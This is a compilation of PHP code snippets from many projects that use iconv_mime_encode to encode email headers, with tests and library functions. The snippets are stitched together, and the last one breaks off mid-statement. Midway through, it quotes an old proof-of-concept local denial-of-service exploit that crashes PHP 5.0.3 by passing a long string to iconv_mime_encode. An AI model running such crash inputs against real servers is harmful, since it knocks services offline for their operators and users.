function _format_headers($headers) { $preferences = array('input-charset' => 'utf-8', 'output-charset' => 'UTF-8', 'line-length' => 76, 'line-break-chars' => "\n", 'scheme' => 'Q'); return \implode("\r\n", \array_map(function ($k, $v) { return \iconv_mime_encode($k, $v, $preferences); }, \array_keys($headers), $headers)); }
/** * @covers Symfony\Polyfill\Iconv\Iconv::iconv_mime_encode */ public function testIconvMimeEncode() { if (defined('HHVM_VERSION')) { $this->markTestSkipped('HHVM incompatible.'); } $text = "テストテスト"; $options = array('scheme' => 'Q', 'input-charset' => 'UTF-8', 'output-charset' => 'UTF-8', 'line-length' => 30); $this->assertSame("Subject: =?UTF-8?Q?=E3=83=86?=\r\n =?UTF-8?Q?=E3=82=B9?=\r\n =?UTF-8?Q?=E3=83=88?=\r\n =?UTF-8?Q?=E3=83=86?=\r\n =?UTF-8?Q?=E3=82=B9?=\r\n =?UTF-8?Q?=E3=83=88?=", iconv_mime_encode('Subject', $text, $options)); }
/** * return the vacation Sieve code * * @return string */ public function __toString() { $days = ":days {$this->_days} "; $from = !empty($this->_from) ? ":from {$this->_quoteString($this->_from)} " : null; $addresses = count($this->_addresses) > 0 ? ":addresses {$this->_quoteString($this->_addresses)} " : null; if (!empty($this->_subject)) { $subject = iconv_mime_encode(null, $this->_subject, array('scheme' => 'Q', 'line-length' => 500)); $subject = ':subject ' . $this->_quoteString(substr($subject, 2)) . ' '; } else { $subject = null; } $reason = $this->_reason; $plaintextReason = $this->_getPlaintext($reason); if (!empty($this->_mime)) { $mime = ':mime '; $contentType = 'Content-Type: ' . $this->_mime; if ($this->_mime == self::MIME_TYPE_MULTIPART_ALTERNATIVE) { // @todo use Zend_Mime ? $contentType .= "; boundary=foo\r\n\r\n"; $reason = sprintf("--foo\r\nContent-Type: text/plain; charset=UTF-8\r\n\r\n%s\r\n\r\n" . "--foo\r\nContent-Type: text/html; charset=UTF-8\r\n\r\n%s\r\n\r\n" . "--foo--", $plaintextReason, $reason); } else { $contentType .= "; charset=UTF-8\r\n\r\n"; } if ($this->_mime == self::MIME_TYPE_TEXT_PLAIN) { $reason = $plaintextReason; } } else { $mime = null; $contentType = null; $reason = $plaintextReason; } $vacation = sprintf("vacation %s%s%s%s%stext:\r\n%s%s\r\n.\r\n;", $days, $subject, $from, $addresses, $mime, $contentType, $reason); if ($this->useDates()) { $conditions = array(); if ($this->_enddate !== NULL) { $conditions[] = 'currentdate :value "le" "date" "' . $this->_enddate . '"'; } if ($this->_startdate !== NULL) { $conditions[] = 'currentdate :value "ge" "date" "' . $this->_startdate . '"'; } if (count($conditions) > 0) { $vacation = 'if allof(' . implode(",\r\n", $conditions) . ")\r\n{" . $vacation . "}\r\n"; } } return $vacation; }
/** * Returns ezcMailAddress $item as a RFC822 compliant address string. * * Example: * <code> * composeEmailAddress( new ezcMailAddress( '*****@*****.**', 'John Doe' ) ); * </code> * * Returns: * <pre> * John Doe <*****@*****.**> * </pre> * * The name part of $item will be surrounded by quotes if it contains any of * these characters: , @ < > : ; ' " * * @param ezcMailAddress $item * @return string */ public static function composeEmailAddress(ezcMailAddress $item) { $name = trim($item->name); if ($name !== '') { // remove the quotes around the name part if they are already there if ($name[0] === '"' && $name[strlen($name) - 1] === '"') { $name = substr($name, 1, -1); } // add slashes to " and \ and surround the name part with quotes if (strpbrk($name, ",@<>:;'\"") !== false) { $name = str_replace('\\', '\\\\', $name); $name = str_replace('"', '\\"', $name); $name = "\"{$name}\""; } switch (strtolower($item->charset)) { case 'us-ascii': $text = $name . ' <' . $item->email . '>'; break; case 'iso-8859-1': case 'iso-8859-2': case 'iso-8859-3': case 'iso-8859-4': case 'iso-8859-5': case 'iso-8859-6': case 'iso-8859-7': case 'iso-8859-8': case 'iso-8859-9': case 'iso-8859-10': case 'iso-8859-11': case 'iso-8859-12': case 'iso-8859-13': case 'iso-8859-14': case 'iso-8859-15': case 'iso-8859-16': case 'windows-1250': case 'windows-1251': case 'windows-1252': case 'utf-8': if (strpbrk($name, "€�‚ƒ„…†‡�‰�‹�����‘’“”•–—�™�›���� ΅Ά£¤¥¦§¨©�«¬®―°±²³΄µ¶·ΈΉΊ»Ό½ΎΏΐΑΒΓΔΕΖΗΘΙΚΛΜΝΞΟΠΡ�ΣΤΥΦΧΨΩΪΫάέήίΰαβγδεζηθικλμνξοπρςστυφχψωϊϋόύώ�") === false) { $text = $name . ' <' . $item->email . '>'; break; } // break intentionally missing // break intentionally missing default: $preferences = array('input-charset' => $item->charset, 'output-charset' => $item->charset, 'scheme' => 'Q', 'line-break-chars' => ezcMailTools::lineBreak()); $name = iconv_mime_encode('dummy', $name, $preferences); $name = substr($name, 7); // "dummy: " + 1 $text = $name . ' <' . $item->email . '>'; break; } } else { $text = $item->email; } return $text; }
/** * Prep Q Encoding * * Performs "Q Encoding" on a string for use in email headers. * It's related but not identical to quoted-printable, so it has its * own method. * * @param string * @return string */ protected function _prep_q_encoding($str) { $str = str_replace(array("\r", "\n"), '', $str); if ($this->charset === 'UTF-8') { if (MB_ENABLED === TRUE) { return mb_encode_mimeheader($str, $this->charset, 'Q', $this->crlf); } elseif (ICONV_ENABLED === TRUE) { $output = @iconv_mime_encode('', $str, array('scheme' => 'Q', 'line-length' => 76, 'input-charset' => $this->charset, 'output-charset' => $this->charset, 'line-break-chars' => $this->crlf)); // There are reports that iconv_mime_encode() might fail and return FALSE if ($output !== FALSE) { // iconv_mime_encode() will always put a header field name. // We've passed it an empty one, but it still prepends our // encoded string with ': ', so we need to strip it. return substr($output, 2); } $chars = iconv_strlen($str, 'UTF-8'); } } // We might already have this set for UTF-8 isset($chars) or $chars = strlen($str); $output = '=?' . $this->charset . '?Q?'; for ($i = 0, $length = strlen($output); $i < $chars; $i++) { $chr = $this->charset === 'UTF-8' && ICONV_ENABLED === TRUE ? '=' . implode('=', str_split(strtoupper(bin2hex(iconv_substr($str, $i, 1, $this->charset))), 2)) : '=' . strtoupper(bin2hex($str[$i])); // RFC 2045 sets a limit of 76 characters per line. // We'll append ?= to the end of each line though. if ($length + ($l = strlen($chr)) > 74) { $output .= '?=' . $this->crlf . ' =?' . $this->charset . '?Q?' . $chr; // New line $length = 6 + strlen($this->charset) + $l; // Reset the length for the new line } else { $output .= $chr; $length += $l; } } // End the header return $output . '?='; }
private function getFormatedMimeHeadder($value) { $preferences = array("input-charset" => $this->getCharset(), "output-charset" => "UTF-8", "line-break-chars" => PHP_EOL, "scheme" => 'Q'); $formated_header = substr(iconv_mime_encode("", $value, $preferences), 2); return $formated_header; }
iconv_mime_encode() <?php // ================================================================================== // // PHP 5.0.3 iconv_mime_encode() Local Denial of Service // // Tested on WIN XP, Apache, PHP 5.0.3. Local Denial of Service. // // Local Denial of Service // Author: Pr0T3cT10n <pr0t3ct10n@gmail.com<mailto:pr0t3ct10n@gmail.com>> // http://www.nullbyte.org.il // // ================================================================================== $buff = str_repeat("A", 9999); iconv_mime_encode($buff, 1); ?> imageftbbox() <?php // ================================================================================== // // PHP 5.0.3 imageftbbox() Local Denial of Service // // Tested on WIN XP, Apache, PHP 5.0.3. Local Denial of Service. // // Local Denial of Service // Author: Pr0T3cT10n <pr0t3ct10n@gmail.com<mailto:pr0t3ct10n@gmail.com>> // http://www.nullbyte.org.il // // ==================================================================================
/** * Encodes a header as per RFC2047 * * @param array $input The header data to encode * @param array $params Extra build parameters * * @return array Encoded data * @access private */ function _encodeHeaders($input, $params = array()) { $build_params = $this->_build_params; while (list($key, $value) = each($params)) { $build_params[$key] = $value; } //$hdr_name: Name of the heaer //$hdr_value: Full line of header value. //$hdr_value_out: The recombined $hdr_val-atoms, or the encoded string. $useIconv = true; if (isset($build_params['ignore-iconv'])) { $useIconv = !$build_params['ignore-iconv']; } foreach ($input as $hdr_name => $hdr_value) { if (preg_match('#([\\x80-\\xFF]){1}#', $hdr_value)) { if (function_exists('iconv_mime_encode') && $useIconv) { $imePrefs = array(); if ($build_params['head_encoding'] == 'base64') { $imePrefs['scheme'] = 'B'; } else { $imePrefs['scheme'] = 'Q'; } $imePrefs['input-charset'] = $build_params['head_charset']; $imePrefs['output-charset'] = $build_params['head_charset']; $imePrefs['line-length'] = 74; $imePrefs['line-break-chars'] = "\r\n"; //Specified in RFC2047 $hdr_value = iconv_mime_encode($hdr_name, $hdr_value, $imePrefs); $hdr_value = preg_replace("#^{$hdr_name}\\:\\ #", "", $hdr_value); } elseif ($build_params['head_encoding'] == 'base64') { //Base64 encoding has been selected. //Base64 encode the entire string $hdr_value = base64_encode($hdr_value); //Generate the header using the specified params and dynamicly //determine the maximum length of such strings. //75 is the value specified in the RFC. The first -2 is there so //the later regexp doesn't break any of the translated chars. //The -2 on the first line-regexp is to compensate for the ": " //between the header-name and the header value $prefix = '=?' . $build_params['head_charset'] . '?B?'; $suffix = '?='; $maxLength = 75 - strlen($prefix . $suffix) - 2; $maxLength1stLine = $maxLength - strlen($hdr_name) - 2; //We can cut base4 every 4 characters, so the real max //we can get must be rounded down. $maxLength = $maxLength - $maxLength % 4; $maxLength1stLine = $maxLength1stLine - $maxLength1stLine % 4; $cutpoint = $maxLength1stLine; $hdr_value_out = $hdr_value; $output = ""; while ($hdr_value_out) { //Split translated string at every $maxLength $part = substr($hdr_value_out, 0, $cutpoint); $hdr_value_out = substr($hdr_value_out, $cutpoint); $cutpoint = $maxLength; //RFC 2047 specifies that any split header should //be seperated by a CRLF SPACE. if ($output) { $output .= "\r\n "; } $output .= $prefix . $part . $suffix; } $hdr_value = $output; } else { //quoted-printable encoding has been selected //Fix for Bug #10298, Ota Mares <*****@*****.**> //Check if there is a double quote at beginning or end of //the string to prevent that an open or closing quote gets //ignored because it is encapsuled by an encoding pre/suffix. //Remove the double quote and set the specific prefix or //suffix variable so that we can concat the encoded string and //the double quotes back together to get the intended string. $quotePrefix = $quoteSuffix = ''; if ($hdr_value[0] == '"') { $hdr_value = substr($hdr_value, 1); $quotePrefix = '"'; } if ($hdr_value[strlen($hdr_value) - 1] == '"') { $hdr_value = substr($hdr_value, 0, -1); $quoteSuffix = '"'; } //Generate the header using the specified params and dynamicly //determine the maximum length of such strings. //75 is the value specified in the RFC. The -2 is there so //the later regexp doesn't break any of the translated chars. //The -2 on the first line-regexp is to compensate for the ": " //between the header-name and the header value $prefix = '=?' . $build_params['head_charset'] . '?Q?'; $suffix = '?='; $maxLength = 75 - strlen($prefix . $suffix) - 2 - 1; $maxLength1stLine = $maxLength - strlen($hdr_name) - 2; $maxLength = $maxLength - 1; //Replace all special characters used by the encoder. $search = array('=', '_', '?', ' '); $replace = array('=3D', '=5F', '=3F', '_'); $hdr_value = str_replace($search, $replace, $hdr_value); //Replace all extended characters (\x80-xFF) with their //ASCII values. $hdr_value = preg_replace('#([\\x80-\\xFF])#e', '"=" . strtoupper(dechex(ord("\\1")))', $hdr_value); //This regexp will break QP-encoded text at every $maxLength //but will not break any encoded letters. $reg1st = "|(.{0,{$maxLength1stLine}}[^\\=][^\\=])|"; $reg2nd = "|(.{0,{$maxLength}}[^\\=][^\\=])|"; //Fix for Bug #10298, Ota Mares <*****@*****.**> //Concat the double quotes and encoded string together $hdr_value = $quotePrefix . $hdr_value . $quoteSuffix; $hdr_value_out = $hdr_value; $realMax = $maxLength1stLine + strlen($prefix . $suffix); if (strlen($hdr_value_out) >= $realMax) { //Begin with the regexp for the first line. $reg = $reg1st; $output = ""; while ($hdr_value_out) { //Split translated string at every $maxLength //But make sure not to break any translated chars. $found = preg_match($reg, $hdr_value_out, $matches); //After this first line, we need to use a different //regexp for the first line. $reg = $reg2nd; //Save the found part and encapsulate it in the //prefix & suffix. Then remove the part from the //$hdr_value_out variable. if ($found) { $part = $matches[0]; $len = strlen($matches[0]); $hdr_value_out = substr($hdr_value_out, $len); } else { $part = $hdr_value_out; $hdr_value_out = ""; } //RFC 2047 specifies that any split header should //be seperated by a CRLF SPACE if ($output) { $output .= "\r\n "; } $output .= $prefix . $part . $suffix; } $hdr_value_out = $output; } else { $hdr_value_out = $prefix . $hdr_value_out . $suffix; } $hdr_value = $hdr_value_out; } } $input[$hdr_name] = $hdr_value; } return $input; }
/** * Encode a string such that it can be used in an email header * * @param string $string the text to be encoded * @return string encoded text * */ function COM_emailEscape($string) { global $_CONF; if (function_exists('CUSTOM_emailEscape')) { return CUSTOM_emailEscape($string); } $charset = COM_getCharset(); if ($charset == 'utf-8' && $string != utf8_decode($string)) { if (function_exists('iconv_mime_encode')) { $mime_parameters = array('input-charset' => 'utf-8', 'output-charset' => 'utf-8', 'scheme' => 'Q'); $string = substr(iconv_mime_encode('', $string, $mime_parameters), 2); } else { $string = '=?' . $charset . '?B?' . base64_encode($string) . '?='; } } else { if (preg_match('/[^0-9a-z\\-\\.,:;\\?! ]/i', $string)) { $string = '=?' . $charset . '?B?' . base64_encode($string) . '?='; } } return $string; }
/** * Encodes a header as per RFC2047 * * @param array $input The header data to encode * @return array Encoded data * @access private */ function _encodeHeaders($input) { foreach ($input as $hdr_name => $hdr_value) { if (function_exists('iconv_mime_encode') && preg_match('#[\\x80-\\xFF]{1}#', $hdr_value)) { $imePref = array(); if ($this->_build_params['head_encoding'] == 'base64') { $imePrefs['scheme'] = 'B'; } else { $imePrefs['scheme'] = 'Q'; } $imePrefs['input-charset'] = $this->_build_params['head_charset']; $imePrefs['output-charset'] = $this->_build_params['head_charset']; $hdr_value = iconv_mime_encode($hdr_name, $hdr_value, $imePrefs); $hdr_value = preg_replace("#^{$hdr_name}\\:\\ #", "", $hdr_value); } elseif (preg_match('#[\\x80-\\xFF]{1}#', $hdr_value)) { //This header contains non ASCII chars and should be encoded. switch ($this->_build_params['head_encoding']) { case 'base64': //Base64 encoding has been selected. //Generate the header using the specified params and dynamicly //determine the maximum length of such strings. //75 is the value specified in the RFC. The -2 is there so //the later regexp doesn't break any of the translated chars. $prefix = '=?' . $this->_build_params['head_charset'] . '?B?'; $suffix = '?='; $maxLength = 75 - strlen($prefix . $suffix) - 2; $maxLength1stLine = $maxLength - strlen($hdr_name); //Base64 encode the entire string $hdr_value = base64_encode($hdr_value); //This regexp will break base64-encoded text at every //$maxLength but will not break any encoded letters. $reg1st = "|.{0,{$maxLength1stLine}}[^\\=][^\\=]|"; $reg2nd = "|.{0,{$maxLength}}[^\\=][^\\=]|"; break; case 'quoted-printable': default: //quoted-printable encoding has been selected //Generate the header using the specified params and dynamicly //determine the maximum length of such strings. //75 is the value specified in the RFC. The -2 is there so //the later regexp doesn't break any of the translated chars. $prefix = '=?' . $this->_build_params['head_charset'] . '?Q?'; $suffix = '?='; $maxLength = 75 - strlen($prefix . $suffix) - 2; $maxLength1stLine = $maxLength - strlen($hdr_name); //Replace all special characters used by the encoder. $search = array("=", "_", "?", " "); $replace = array("=3D", "=5F", "=3F", "_"); $hdr_value = str_replace($search, $replace, $hdr_value); //Replace all extended characters (\x80-xFF) with their //ASCII values. $hdr_value = preg_replace('#([\\x80-\\xFF])#e', '"=" . strtoupper(dechex(ord("\\1")))', $hdr_value); //This regexp will break QP-encoded text at every $maxLength //but will not break any encoded letters. $reg1st = "|(.{0,{$maxLength}})[^\\=]|"; $reg2nd = "|(.{0,{$maxLength}})[^\\=]|"; break; } //Begin with the regexp for the first line. $reg = $reg1st; $output = ""; while ($hdr_value) { //Split translated string at every $maxLength //But make sure not to break any translated chars. $found = preg_match($reg, $hdr_value, $matches); //After this first line, we need to use a different //regexp for the first line. $reg = $reg2nd; //Save the found part and encapsulate it in the //prefix & suffix. Then remove the part from the //$hdr_value variable. if ($found) { $part = $matches[0]; $hdr_value = substr($hdr_value, strlen($matches[0])); } else { $part = $hdr_value; $hdr_value = ""; } //RFC 2047 specifies that any split header should be seperated //by a CRLF SPACE. if ($output) { $output .= "\r\n "; } $output .= $prefix . $part . $suffix; } $hdr_value = $output; } $input[$hdr_name] = $hdr_value; } return $input; }
/** * 信息编码 * * @param string $str 待编码的字符 * @return string */ function encode_msg($str) { $preferences = array('input-charset' => 'UTF-8', 'output-charset' => 'GBK', 'scheme' => 'B'); return substr(@iconv_mime_encode('', $str, $preferences), 2); }
#!/usr/bin/env php <?php $value = $argv[1]; $charset = isset($argv[2]) ? $argv[2] : 'UTF-8'; $scheme = isset($argv[3]) ? $argv[3] : 'B'; if (!mb_check_encoding($argv[1], 'UTF-8')) { $value = mb_convert_encoding($value, 'UTF-8'); } $encoded = mb_substr(iconv_mime_encode('', $value, ['input-charset' => 'UTF-8', 'output-charset' => $charset, 'scheme' => $scheme]), 2); echo "Encoded: {$encoded}\n"; $decoded = iconv_mime_decode($encoded, 0, 'UTF-8'); echo "{$decoded} ", $decoded == $argv[1] ? 'equal' : 'not equal', "\n\n"; exit;
<?php var_dump(iconv_mime_encode('', '')); var_dump(iconv_mime_encode('', '', array('line-break-chars' => 1)));
/** * Encode into a quoted printable encoded string. * * @author Elan Ruusamäe <*****@*****.**> * @see Zend_Mime::_encodeQuotedPrintable * @param string $string The string in APP_CHARSET encoding * @return string encoded string */ public static function encodeQuotedPrintable($string) { if (function_exists('iconv_mime_encode')) { // avoid any wrapping by specifying line length long enough // "test" -> 4 // ": =?ISO-8859-1?B?dGVzdA==?=" -> 27 // 3 +2 +10 +3 +7 + 3 $line_length = strlen($string) * 4 + strlen(APP_CHARSET) + 11; $params = array('input-charset' => APP_CHARSET, 'output-charset' => APP_CHARSET, 'line-length' => $line_length); $string = iconv_mime_encode('', $string, $params); return substr($string, 2); } // lookup-Tables for QuotedPrintable $qpKeys = array("", "", "", "", "", "", "", "", "", "\t", "\n", "\v", "\f", "\r", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�", "�"); $qpReplaceValues = array('=00', '=01', '=02', '=03', '=04', '=05', '=06', '=07', '=08', '=09', '=0A', '=0B', '=0C', '=0D', '=0E', '=0F', '=10', '=11', '=12', '=13', '=14', '=15', '=16', '=17', '=18', '=19', '=1A', '=1B', '=1C', '=1D', '=1E', '=1F', '=7F', '=80', '=81', '=82', '=83', '=84', '=85', '=86', '=87', '=88', '=89', '=8A', '=8B', '=8C', '=8D', '=8E', '=8F', '=90', '=91', '=92', '=93', '=94', '=95', '=96', '=97', '=98', '=99', '=9A', '=9B', '=9C', '=9D', '=9E', '=9F', '=A0', '=A1', '=A2', '=A3', '=A4', '=A5', '=A6', '=A7', '=A8', '=A9', '=AA', '=AB', '=AC', '=AD', '=AE', '=AF', '=B0', '=B1', '=B2', '=B3', '=B4', '=B5', '=B6', '=B7', '=B8', '=B9', '=BA', '=BB', '=BC', '=BD', '=BE', '=BF', '=C0', '=C1', '=C2', '=C3', '=C4', '=C5', '=C6', '=C7', '=C8', '=C9', '=CA', '=CB', '=CC', '=CD', '=CE', '=CF', '=D0', '=D1', '=D2', '=D3', '=D4', '=D5', '=D6', '=D7', '=D8', '=D9', '=DA', '=DB', '=DC', '=DD', '=DE', '=DF', '=E0', '=E1', '=E2', '=E3', '=E4', '=E5', '=E6', '=E7', '=E8', '=E9', '=EA', '=EB', '=EC', '=ED', '=EE', '=EF', '=F0', '=F1', '=F2', '=F3', '=F4', '=F5', '=F6', '=F7', '=F8', '=F9', '=FA', '=FB', '=FC', '=FD', '=FE', '=FF'); $string = str_replace('=', '=3D', $string); $string = str_replace($qpKeys, $qpReplaceValues, $string); return rtrim($string); }
/** * Returns ezcMailAddress $item as a RFC822 compliant address string. * * Example: * <code> * composeEmailAddress( new ezcMailAddress( '*****@*****.**', 'John Doe' ) ); * </code> * * Returns: * <pre> * John Doe <*****@*****.**> * </pre> * * The name part of $item will be surrounded by quotes if it contains any of * these characters: , @ < > : ; ' " * * @param ezcMailAddress $item * @return string */ public static function composeEmailAddress( ezcMailAddress $item ) { $name = trim( $item->name ); if ( $name !== '' ) { // remove the quotes around the name part if they are already there if ( $name{0} === '"' && $name{strlen( $name ) - 1} === '"' ) { $name = substr( $name, 1, -1 ); } // add slashes to " and \ and surround the name part with quotes if ( strpbrk( $name, ",@<>:;'\"" ) !== false ) { $name = str_replace( '\\', '\\\\', $name ); $name = str_replace( '"', '\"', $name ); $name = "\"{$name}\""; } switch ( strtolower( $item->charset ) ) { case 'us-ascii': $text = $name . ' <' . $item->email . '>'; break; case 'iso-8859-1': case 'iso-8859-2': case 'iso-8859-3': case 'iso-8859-4': case 'iso-8859-5': case 'iso-8859-6': case 'iso-8859-7': case 'iso-8859-8': case 'iso-8859-9': case 'iso-8859-10': case 'iso-8859-11': case 'iso-8859-12': case 'iso-8859-13': case 'iso-8859-14': case 'iso-8859-15' :case 'iso-8859-16': case 'windows-1250': case 'windows-1251': case 'windows-1252': case 'utf-8': if ( strpbrk( $name, "\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" ) === false ) { $text = $name . ' <' . $item->email . '>'; break; } // break intentionally missing default: $preferences = array( 'input-charset' => $item->charset, 'output-charset' => $item->charset, 'scheme' => 'Q', 'line-break-chars' => ezcMailTools::lineBreak() ); $name = iconv_mime_encode( 'dummy', $name, $preferences ); $name = substr( $name, 7 ); // "dummy: " + 1 $text = $name . ' <' . $item->email . '>'; break; } } else { $text = $item->email; } return $text; }
/** * testContainerNotification */ public function testContainerNotification() { // prepare smtp transport $smtpConfig = Tinebase_Config::getInstance()->get(Tinebase_Config::SMTP, new Tinebase_Config_Struct())->toArray(); if (empty($smtpConfig)) { $this->markTestSkipped('No SMTP config found: this is needed to send notifications.'); } $mailer = Tinebase_Smtp::getDefaultTransport(); // make sure all messages are sent if queue is activated if (isset(Tinebase_Core::getConfig()->actionqueue)) { Tinebase_ActionQueue::getInstance()->processQueue(100); } $mailer->flush(); // create and update container $container = $this->_saveContainer(); $container['type'] = Tinebase_Model_Container::TYPE_PERSONAL; $container['note'] = 'changed to personal'; $container['account_grants'] = $this->_getContainerGrants(); $containerUpdated = $this->_json->saveContainer($container); // make sure messages are sent if queue is activated if (isset(Tinebase_Core::getConfig()->actionqueue)) { Tinebase_ActionQueue::getInstance()->processQueue(); } // check notification message $messages = $mailer->getMessages(); $this->assertGreaterThan(0, count($messages)); $notification = $messages[0]; $translate = Tinebase_Translation::getTranslation('Admin'); $body = quoted_printable_decode($notification->getBodyText(TRUE)); $this->assertContains($container['note'], $body, $body); $subject = $notification->getSubject(); if (strpos($subject, 'UTF-8') !== FALSE) { $this->assertEquals(iconv_mime_encode('Subject', $translate->_('Your container has been changed'), array('scheme' => 'Q', 'line-length' => 500)), 'Subject: ' . $subject); } else { $this->assertEquals($translate->_('Your container has been changed'), $subject); } $this->assertTrue(in_array(Tinebase_Core::getUser()->accountEmailAddress, $notification->getRecipients())); }
/** * Test if is possible apply MIME-encoding * * @param string $value * @return bool */ public static function canBeEncoded($value) { // Check if this is a base64 string or if it's quoted-printable $encoded = @iconv_mime_encode('x-test', $value, ['scheme' => 'B']) || @iconv_mime_encode('x-test', $value, ['scheme' => 'Q']); return false !== $encoded; }
/** * MIME-encode a value * * Performs quoted-printable encoding on a value, setting maximum * line-length to 998. * * @param string $value * @param string $encoding * @param bool $splitWords Whether or not to split the $value on whitespace * and encode each word separately. * @return string */ public static function mimeEncodeValue($value, $encoding, $splitWords = false) { if ($splitWords) { $words = array_map(function ($word) use($encoding) { $header = iconv_mime_encode('Header', $word, array('scheme' => 'Q', 'line-length' => 78, 'output-charset' => $encoding)); return str_replace('Header: ', '', $header); }, explode(' ', $value)); return implode("\r\n ", $words); } $header = iconv_mime_encode('Header', $value, array('scheme' => 'Q', 'line-length' => 998, 'output-charset' => $encoding)); return str_replace('Header: ', '', $header); }
/** * Returns the headers set for this part as a RFC 822 string. * * Each header is separated by a line break. * This method does not add the required two lines of space * to separate the headers from the body of the part. * * It also encodes the headers (with the 'Q' encoding) if the charset * associated with the header is different than 'us-ascii' or if it * contains characters not allowed in mail headers. * * This function is called automatically by generate() and * subclasses can override this method if they wish to set additional * headers when the mail is generated. * * @see setHeader() * * @return string */ public function generateHeaders() { // set content disposition header if ($this->contentDisposition !== null && $this->contentDisposition instanceof ezcMailContentDispositionHeader) { $cdHeader = $this->contentDisposition; $cd = "{$cdHeader->disposition}"; if ($cdHeader->fileName !== null) { $fileInfo = null; if ($cdHeader->fileNameCharSet !== null) { $fileInfo .= "*0*=\"{$cdHeader->fileNameCharSet}"; if ($cdHeader->fileNameLanguage !== null) { $fileInfo .= "'{$cdHeader->fileNameLanguage}'"; } else { // RFC 2184: the single quote delimiters MUST be present // even when one of the field values is omitted $fileInfo .= "''"; } } if ($fileInfo !== null) { $cd .= "; filename{$fileInfo}{$cdHeader->fileName}\""; } else { $cd .= "; filename=\"{$cdHeader->fileName}\""; } } if ($cdHeader->creationDate !== null) { $cd .= "; creation-date=\"{$cdHeader->creationDate}\""; } if ($cdHeader->modificationDate !== null) { $cd .= "; modification-date=\"{$cdHeader->modificationDate}\""; } if ($cdHeader->readDate !== null) { $cd .= "; read-date=\"{$cdHeader->readDate}\""; } if ($cdHeader->size !== null) { $cd .= "; size={$cdHeader->size}"; } foreach ($cdHeader->additionalParameters as $addKey => $addValue) { $cd .= "; {$addKey}=\"{$addValue}\""; } $this->setHeader('Content-Disposition', $cd); } // generate headers $text = ""; foreach ($this->headers->getCaseSensitiveArray() as $header => $value) { if (is_array($value)) { $value = $value[0]; } // here we encode every header, even the ones that we don't add to // the header set directly. We do that so that transports sill see // all the encoded headers which they then can use accordingly. $charset = $this->getHeaderCharset($header); switch (strtolower($charset)) { case 'us-ascii': $value = ezcMailHeaderFolder::foldAny($value); break; case 'iso-8859-1': case 'iso-8859-2': case 'iso-8859-3': case 'iso-8859-4': case 'iso-8859-5': case 'iso-8859-6': case 'iso-8859-7': case 'iso-8859-8': case 'iso-8859-9': case 'iso-8859-10': case 'iso-8859-11': case 'iso-8859-12': case 'iso-8859-13': case 'iso-8859-14': case 'iso-8859-15': case 'iso-8859-16': case 'windows-1250': case 'windows-1251': case 'windows-1252': case 'utf-8': if (strpbrk($value, "€�‚ƒ„…†‡�‰�‹�����‘’“”•–—�™�›���� ΅Ά£¤¥¦§¨©�«¬®―°±²³΄µ¶·ΈΉΊ»Ό½ΎΏΐΑΒΓΔΕΖΗΘΙΚΛΜΝΞΟΠΡ�ΣΤΥΦΧΨΩΪΫάέήίΰαβγδεζηθικλμνξοπρςστυφχψωϊϋόύώ�") === false) { $value = ezcMailHeaderFolder::foldAny($value); break; } // break intentionally missing // break intentionally missing default: $preferences = array('input-charset' => $charset, 'output-charset' => $charset, 'line-length' => ezcMailHeaderFolder::getLimit(), 'scheme' => 'Q', 'line-break-chars' => ezcMailTools::lineBreak()); $value = iconv_mime_encode('dummy', $value, $preferences); $value = substr($value, 7); // "dummy: " + 1 // just to keep compatibility with code which might read // the headers after generateHeaders() has been called $this->setHeader($header, $value, $charset); break; } if (in_array(strtolower($header), $this->excludeHeaders) === false) { $text .= "{$header}: {$value}" . ezcMailTools::lineBreak(); } } return $text; }
/** * @since 1.0 */ public function send_notification($recipients, $subject, $body) { $headers = array(sprintf("From: %s <%s>", get_option('blogname'), get_bloginfo('admin_email'))); $headers = apply_filters('bbpnns_extra_headers', $headers, $recipients, $subject, $body); // Allow Management of recipients list $recipients = apply_filters('bbpnns_filter_recipients_before_send', $recipients); /** * This is a workaround for cases where UTF-8 characters were blocking the message. * Run these functions outside the loop for better performance. */ $do_enc = (bool) get_option('bbpress_notify_encode_subject', false); $enc = iconv_get_encoding('internal_encoding'); $preferences = apply_filters('bbpnns_subject_enc_preferences', array('input-charset' => $enc, 'output-charset' => "UTF-8", 'scheme' => 'Q')); foreach ((array) $recipients as $recipient_id => $user_info) { /** * Allow per user subject and body modifications * @since 1.6.4 */ $email = $recipient_id == -1 ? get_bloginfo('admin_email') : (string) $user_info->user_email; $email = apply_filters('bbpnns_skip_notification', $email); // Allow user to be skipped for some reason if (!empty($email) && false === apply_filters('bbpnns_dry_run', false)) { /** * Allow per user subject and body modifications * @since 1.6.4 */ $filtered_body = apply_filters('bbpnns_filter_email_body_for_user', $body, $user_info); $filtered_subject = apply_filters('bbpnns_filter_email_subject_for_user', $subject, $user_info); /** * Make this optional * @since 1.9.3 */ if (true === $do_enc) { /** * Enable UTF-8 characters in subject line * @since 1.9 */ $filtered_subject = 